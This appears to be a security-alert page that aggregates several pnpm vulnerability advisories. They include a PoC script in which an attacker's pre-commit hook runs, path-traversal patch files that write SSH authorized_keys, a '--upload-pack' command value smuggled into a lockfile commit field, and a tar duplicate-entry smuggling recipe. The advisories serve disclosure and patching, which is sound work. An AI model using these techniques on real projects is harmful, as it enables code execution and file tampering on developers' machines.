WAITCOUNT=0 while [ ! -f "$READYFILE" ]; do WAITCOUNT=$((WAITCOUNT + 1)) if [ "$WAITCOUNT" -gt 100 ]; then echo "local registry did not start" >&2 exit 1 fi sleep 0.05 done REGISTRYPORT=$(cat "$PORTFILE")

cd "$VICTIMDIR" git init -q git config user.email demo@example.invalid git config user.name "Demo User"

cat > package.json <<'JSON' { "name": "victim", "version": "1.0.0" } JSON

cat > .npmrc <<EOF registry=http://127.0.0.1:$REGISTRYPORT/ EOF

printf 'pnpm: ' pnpm --version printf 'registry: http://127.0.0.1:%s/\n' "$REGISTRYPORT" printf 'victim: %s\n\n' "$VICTIMDIR"

pnpm install normal@1.0.0 --ignore-scripts --config.confirmModulesPurge=false --reporter=silent

echo 'trigger commit' > change.txt git add change.txt

set +e COMMITSTDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null) COMMITSTATUS=$? set -e

printf '\ngit commit exit code: %s\n' "$COMMITSTATUS" printf 'git commit stderr:\n%s\n' "$COMMITSTDERR"

The script starts a local npm-compatible registry, writes a victim project .npmrc that points to that registry, installs normal@1.0.0 with --ignore-scripts, and then triggers git commit.

Requirements:

text pnpm npm node git openssl

Expected output:

text git commit exit code: 0 git commit stderr: PWNED

PWNED is printed by the attacker-controlled pre-commit hook from the payload-hooks package.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Path Traversal
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

<details> <summary>Maintainer Action Plan</summary>

Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.

- Advisory: CAND-PNPM-085 / GHSA-4gxm-v5v7-fqc4 - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4 - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: security/ghsa-batch-2026-06-09 - Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22 - Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec - Maintainer priority: appendix - Component: pnpm global add/remove bin cleanup - Patch area: bin name/path segment validation - Affected packages: npm:pnpm - CWE IDs: CWE-22, CWE-73 - Conservative CVSS: 6.5 / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.

Expected Patched Behavior

Reserved, dot, and path-segment bin names are rejected or ignored; global remove leaves PNPMHOME and the sentinel file intact.

Files And Tests To Review

- bins/resolver/src/index.ts - bins/resolver/test/index.ts - global/commands/test/globalRemove.test.ts - pacquet/crates/cmd-shim/src/binresolver.rs - pacquet/crates/cmd-shim/src/binresolver/tests.rs - .changeset/strange-bin-segments.md

Focused Validation

Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.

- Use the private PR checks plus the patched replay coverage matrix for this candidate.

The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-085-patched-result.json. <!-- maintainer-action:end -->

Title

Reserved manifest bin names can make global package operations delete outside the global bin directory

</details>

Description

Summary

Manifest bin object keys such as "", ".", and ".." passed pnpm's bin-name guard. When a malicious package was installed globally, later global remove, update, or add-replacement flows could re-derive those names from the installed manifest and pass path.join(globalBinDir, binName) to removeBin. For "." this targets the global bin directory; for ".." this targets its parent.

Details

The vulnerable dataflow was:

- bins/resolver/src/index.ts converted manifest bin object keys to binName and only required URL-safe text or $. Empty, dot, dot-dot, and scoped forms such as @scope/.. were not rejected after scope stripping. - global/packages/src/scanGlobalPackages.ts scanned installed global package manifests and returned manifest-derived bin.name values. - global/commands/src/globalRemove.ts, global/commands/src/globalUpdate.ts, and global add replacement logic joined those names to globalBinDir. - bins/remover/src/removeBins.ts recursively removed the resulting path.

Install-time checks did not close the gap: bin target paths were package-root checked, conflict checks looked at the same escaped path but did not reject reserved segments, and bin-link warning paths could leave the package installed for later global operations.

PoC

Run:

The script first performs a safe prepatch simulation in a temporary directory:

text prepatchreservedbinname=.. prepatchdeletetarget=/.../cand-pnpm-085.XXXXXX/home prepatchdeletedglobalbinparent=true

It then validates the patched implementation:

bash ./nodemodules/.bin/tsgo --build bins/resolver/tsconfig.json ./nodemodules/.bin/tsgo --build global/commands/tsconfig.json ./nodemodules/.bin/eslint bins/resolver/src/index.ts bins/resolver/test/index.ts global/commands/test/globalRemove.test.ts cd bins/resolver NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/index.ts --runInBand cd global/commands NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/globalRemove.test.ts -t "global remove ignores reserved manifest bin names" --runInBand cargo fmt --manifest-path pacquet/crates/cmd-shim/Cargo.toml --check cargo test --manifest-path pacquet/crates/cmd-shim/Cargo.toml binresolver --lib git diff --check -- bins/resolver global/commands/test/globalRemove.test.ts pacquet/crates/cmd-shim .changeset/strange-bin-segments.md pnpm-lock.yaml

The patched resolver no longer emits reserved bin names, and the global-remove regression proves the deletion sink receives only path.join(globalBinDir, "good").

Impact

Direct confidentiality impact was not validated for this primitive; the sink is deletion/corruption, not a read or disclosure path.

Affected Products

Ecosystem: npm

Package name: pnpm

Affected versions: versions before the patch that accept reserved manifest bin names in TypeScript global package flows.

Patched versions: pending release containing the shared bin-name hardening.

Severity

Corrected vulnerable severity: High

Corrected vulnerable vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Corrected vulnerable score: 8.1

Final post-patch score: 0.0, not vulnerable after patch.

The original scan score was 8.3 with C:H/I:H/A:L. Revalidation removes direct confidentiality impact and raises availability to high because the sink can recursively delete the global bin directory or its parent.

Weaknesses

CWE-22: Improper Limitation of a Pathname to a Restricted Directory

CWE-73: External Control of File Name or Path

Patch

- bins/resolver/src/index.ts now rejects empty, dot, and dot-dot bin names after scope stripping. - bins/resolver/test/index.ts covers empty, dot, dot-dot, and scoped reserved bin keys. - global/commands/test/globalRemove.test.ts proves global remove filters reserved manifest bin names before deletion and only removes a safe good shim. - pacquet/crates/cmd-shim/src/binresolver.rs mirrors the same reserved-name rejection; empty names were already rejected. - pacquet/crates/cmd-shim/src/binresolver/tests.rs extends parity coverage. - .changeset/strange-bin-segments.md records patch releases for @pnpm/bins.resolver, pnpm, and pacquet.

Pacquet parity is appropriate at the shared bin resolver/linker boundary because pacquet dependency-management commands can resolve and link package bins, even though the TypeScript-only global remove/update/add replacement flow is the concrete destructive-delete sink.

Validation

Passed locally:

The script passed TypeScript builds, ESLint, bins/resolver Jest, global-remove sink Jest, pacquet fmt/tests, and git diff --check.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

Keep build approval for opaque dependency sources byte-exact for GHSA-5wx6-mg75-v57r / CAND-PNPM-123.

Merged upstream commit bf1b731ee6 fixed the original name-only approval bypass by making build policy consume the resolved dependency identity. One collision remained: the generic peer-suffix normalizer also stripped parenthesized text from git, URL, tarball, file, and other opaque locators. Approval for one source string could therefore authorize a different attacker-controlled source whose locator normalized to the same value.

Security boundary

- Registry dependency identities still normalize legitimate peer suffixes and retain patch hashes. - Git, URL, tarball, file, directory, and otherwise opaque identities must match the complete resolved locator byte for byte. - Explicit denials use the same normalization as approvals. - Ignored-build output preserves the exact opaque identity, so the key pnpm asks a user to approve is the key policy later checks. - TypeScript pnpm and pacquet implement the same distinction between registry and opaque identities.

Exploit replay

- With allowBuilds approving foo@https://host/pkg.tgz, the upstream implementation also accepted foo@https://host/pkg.tgz(evil) because both passed through peer-suffix removal. - An independent review found a second Rust-only form: foo@https://host/pkg@1.0.0(good) and foo@https://host/pkg@1.0.0(evil) collided because the parser selected the final @ and misclassified the opaque URL as a registry package. - A final review found the same parser hazard in source-only locators ending in a semver-looking tail: approval for https://host/pkg@1.0.0 could collapse https://host/pkg@1.0.0(evil). - The final patch rejects all three collision forms, applies the same exactness to deny rules, accepts exact opaque keys as positive controls, and continues to accept registry packages approved without their peer suffixes.

Files changed

- building/policy/src/index.ts and building/policy/test/index.ts normalize only parsed registry identities and retain exact opaque keys. - pacquet/crates/package-manager/src/buildmodules.rs passes snapshot identities to policy, matches TypeScript package-separator parsing, and preserves opaque locators. - pacquet/crates/package-manager/src/buildmodules/tests.rs covers exact approval and denial, all three collision forms, ignored-build output, and registry peer compatibility. - .changeset/quiet-opaque-build-identities.md records patch releases for @pnpm/building.policy and pnpm.

Commands run

text $ jest building/policy/test/index.ts --runInBand 16 passed $ cargo test -p pacquet-package-manager buildmodules::tests -- --nocapture 49 passed $ cargo fmt --all -- --check PASS $ git diff --check 84bb4b1a046f3a659de1c9aab1d45dcf814124ce...HEAD PASS

Validation

- The TypeScript policy suite passed all 16 tests. - The final pacquet build-policy suite passed all 49 tests. - The new Rust regression reproduced the extra-@ collision before the additive fix and passed afterward. - Exact opaque approval and denial, source-only semver-tail collision rejection, registry peer normalization, and ignored-build reporting all have paired tests. - ESLint passed on the changed TypeScript source and test files. - Rust formatting and diff checks passed; the branch is clean and consists of three focused security commits plus additive merges of upstream through 84bb4b1a046f3a659de1c9aab1d45dcf814124ce. - The focused TypeScript suite and ESLint ran directly through the installed harness. The isolated project build cannot resolve workspace packages without a local install, and the configured registry gateway returns HTTP 403 while fetching @pnpm/pacquet@0.11.2; no candidate-focused test failed.

Patches

10.34.2: https://github.com/pnpm/pnpm/commit/14bceb1e0b2a71f4f670774db261feb03f38ec23 11.5.3: https://github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8

Compatibility

Registry package approvals keep their existing form. Opaque dependencies that were approved through a normalized parenthesized variant must now use the exact key shown in pnpm's ignored-build output. This is the intended trust-boundary change; no package-resolution or artifact format changes.

CI note

GitHub intentionally does not run status checks on temporary private-fork pull requests. The complete policy suites, formatting, and diff checks above are the applicable validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability

--- Written by an agent (Codex, GPT-5).

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
Path Traversal
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H

Summary

pnpm's patch application pipeline (@pnpm/patch-package) performs no path validation on file paths extracted from .patch files. An attacker who contributes a malicious patch file via a pull request can write attacker-controlled content to or delete arbitrary files on the filesystem during pnpm install, as the user running the install. The diff --git header paths containing ../../ sequences traverse out of the package directory, and the traversal is difficult to catch in code review because patch file diff headers are opaque to most reviewers.

Vulnerability Details

During pnpm install, when a patchedDependencies entry is present in pnpm-workspace.yaml, pnpm reads the referenced .patch file and applies it via the embedded @pnpm/patch-package library. The applyPatchToDir function at patching/apply-patch/src/index.ts:12-13 calls process.chdir(opts.patchedDir), setting the working directory to the installed package location deep inside nodemodules/.pnpm/.

The patch parser at @pnpm/patch-package/dist/patch/parse.js:88 extracts file paths from diff --git a/(.?) b/(.?) headers using a regex with no path sanitization. The executeEffects function in apply.js then operates on these unsanitized paths:

File write (apply.js:35-49): javascript case 'file creation': { const eff = effect fs.ensureDirSync(dirname(eff.path)) fs.writeFileSync(eff.path, fileContents, { mode: eff.mode }) break }

File delete (apply.js:13-22): javascript case 'file deletion': { const eff = effect // TODO: integrity checks if (!opts.dryRun) { fs.unlinkSync(eff.path) } break }

A path like ../../../../../../../../../../home/user/.ssh/authorizedkeys in the patch header traverses out of the package directory to an arbitrary location.

Proof of Concept

bash Write variant: bash autofynaudit/exploits/vuln6patchtraversalwrite/exploit.sh Result: PASS -- /tmp/vuln6pwned created with attacker-controlled content

Delete variant: bash autofynaudit/exploits/vuln7patchtraversaldelete/exploit.sh Result: PASS -- /tmp/vuln7target deleted by malicious patch

Combined chain (delete + replace SSH authorizedkeys): bash autofynaudit/exploits/chain2patchsshbackdoor/exploit.sh Result: PASS -- authorizedkeys replaced with attacker's public key

Impact

Arbitrary file write and delete as the user running pnpm install, limited to paths writable by that user. An attacker who submits a PR adding a .patch file and patchedDependencies config can target SSH authorizedkeys, shell configuration, CI/CD files, or other writable files. Patch files may receive less review scrutiny than package.json changes because the ../ traversal sequences are in diff --git headers that look like patch metadata.

Suggested Remediation

Validate parsed patch file paths against the package root directory. Reject any path that resolves outside the patched package directory via path.resolve + prefix check. Alternatively, sanitize at parse time by rejecting paths containing .. components in parse.js.

---

Discovered by AutoFyn Full audit report: auditreport.md Exploit script: exploit.sh

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N

Summary

pnpm passes the lockfile-controlled git resolution.commit value to git fetch without a -- separator or commit-format validation. For git dependencies fetched through the shallow-fetch path, a malicious lockfile can replace the expected 40-character commit hash with a Git option such as --upload-pack=<command>. For SSH and local transports, --upload-pack can execute the supplied command. HTTPS transports ignore --upload-pack, so the practical attack surface is primarily SSH or local git dependencies.

Vulnerability Details

The vulnerable path is in fetching/git-fetcher/src/index.ts. When a git dependency host is configured for shallow fetching, pnpm calls:

typescript await execGit(['fetch', '--depth', '1', 'origin', resolution.commit], { cwd: tempLocation })

Because resolution.commit is appended before a -- separator, Git can parse a commit value beginning with - as an option. The same file later passes the value to git checkout without a separator:

typescript await execGit(['checkout', resolution.commit], { cwd: tempLocation })

resolution.commit comes from the lockfile and is typed as a plain string; pnpm does not validate it as a 40-character hexadecimal commit before passing it to Git.

Proof of Concept

bash bash autofynaudit/exploits/vuln11gituploadpackrce/exploit.sh Creates a local bare git repo and triggers the shallow-fetch path. Replaces the lockfile commit hash with '--upload-pack=touch /tmp/vuln11pwned'. Result: PASS -- /tmp/vuln11pwned created by injected touch command.

The PoC uses a local file://githost/... repository because the injection requires a local or SSH transport. HTTPS transport ignores --upload-pack.

Impact

Code execution as the user running pnpm install, under specific transport conditions. The attacker must modify pnpm-lock.yaml, and the affected dependency must use SSH or local git transport. HTTPS transport (the common case) is immune.

Suggested Remediation

Add a -- separator before lockfile-controlled git revision values. Validate resolution.commit matches /^[0-9a-f]{40}$/i before passing to Git.

---

Discovered by AutoFyn Full audit report: auditreport.md Exploit script: exploit.sh

1 / 2
Source: GitHub
First published (updated )
Severity
4.8
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A malicious codeload.github.com server can serve whatever tarball it wants and pnpm will install it regardless of the lockfile.

Details

The lockfile does not store the hash of the dependencies from https://codeload.github.com

This means that if this server was compromised or a person's machine configuration was compromised, pnpm would download and install these dependencies.

PoC

sh pnpm -v 10.28.2

Given the following package.json:

json { "dependencies": { "add": "git://github.com/dsherret/npm-git-dep.git#b3eeb9b" } }

This produces a lockfile like so:

yaml lockfileVersion: '9.0'

settings: autoInstallPeers: true excludeLinksFromLockfile: false

importers:

.: dependencies: add: specifier: git://github.com/dsherret/npm-git-dep.git#b3eeb9b version: https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b

packages:

add@https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b: resolution: {tarball: https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b} version: 1.0.0

snapshots:

add@https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b: {}

Notice that there is no hash. The b3eeb9b is not sufficient because I can configure my machine to resolve a compromised tarball from that url (I tested it out and pnpm just installs it).

Impact

Anyone relying on github git dependencies.

1 / 2
Source: GitHub
First published (updated )
Severity
7

pnpm is a package manager. Versions 10.26.2 and below store HTTP tarball dependencies (and git-hosted tarballs) in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed. An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection. This issue is fixed in version 10.26.0.

First published (updated )
Severity
7

pnpm is a package manager. Versions 10.0.0 through 10.25 allow git-hosted dependencies to execute arbitrary code during pnpm install, circumventing the v10 security feature "Dependency lifecycle scripts execution disabled by default". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval. This issue is fixed in version 10.26.0.

First published (updated )
Severity
9.8
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary It is possible to construct a tarball that, when installed via npm or parsed by the registry is safe, but when installed via pnpm is malicious, due to how pnpm parses tar archives.

Details The TAR format is an append-only archive format, and as such, the specification for how to update a file is to add a new record to the end with the updated version of the file. This means that it is completely valid for an archive to contain multiple copies of, say, package.json, and the expected behavior when extracting is that all versions other than the last get ignored.

This is further complicated by that during tarball extraction, all package managers are configured to drop the first path component, so collisions can be created simply by using multiple root folders in the archive, even without performing updates.

When pnpm extracts a tar archive via tar-stream, it appears to extract only the first file of a given name and discards all subsequent files with the same name.

PoC Create a root folder with the following layout: - a/package.json - package/package.json - z/package.json

File contents: a/package.json json { "name": "test-package", "version": "0.1.0", "description": "This is a bad version of a test package", "dependencies": { "react": "^15" } } package/package.json json { "name": "test-package", "version": "0.1.0", "description": "This is a bad version of a test package", "dependencies": { "react": "^16" } } z/package.json json { "name": "test-package", "version": "0.1.0", "description": "This is the good version of a test package", "dependencies": { "react": "^17" } }

Then use the tar binary to produce a tarball (working directory is the root folder): tar -c -z --format ustar -f package.tgz a package z The order of the folders at the end matters; whichever one is last will end up being the package.json that wins when extracted by npm; the one that is first will be the one that wins when extracted by pnpm.

Install the tarball via the file: protocol.

Observe that with npm, the lockfile has react@17, while with pnpm it has react@15.

Impact This can result in a package that appears safe on the npm registry or when installed via npm being replaced with a compromised or malicious version when installed via pnpm.

1 / 2
First published (updated )
Severity
8.8
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

PNPM prior to v6.15.1 was discovered to contain an untrusted search path which causes the application to behave in unexpected ways when users execute PNPM commands in a directory containing malicious content. This vulnerability occurs when the application is ran on Windows OS.

1 / 2
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203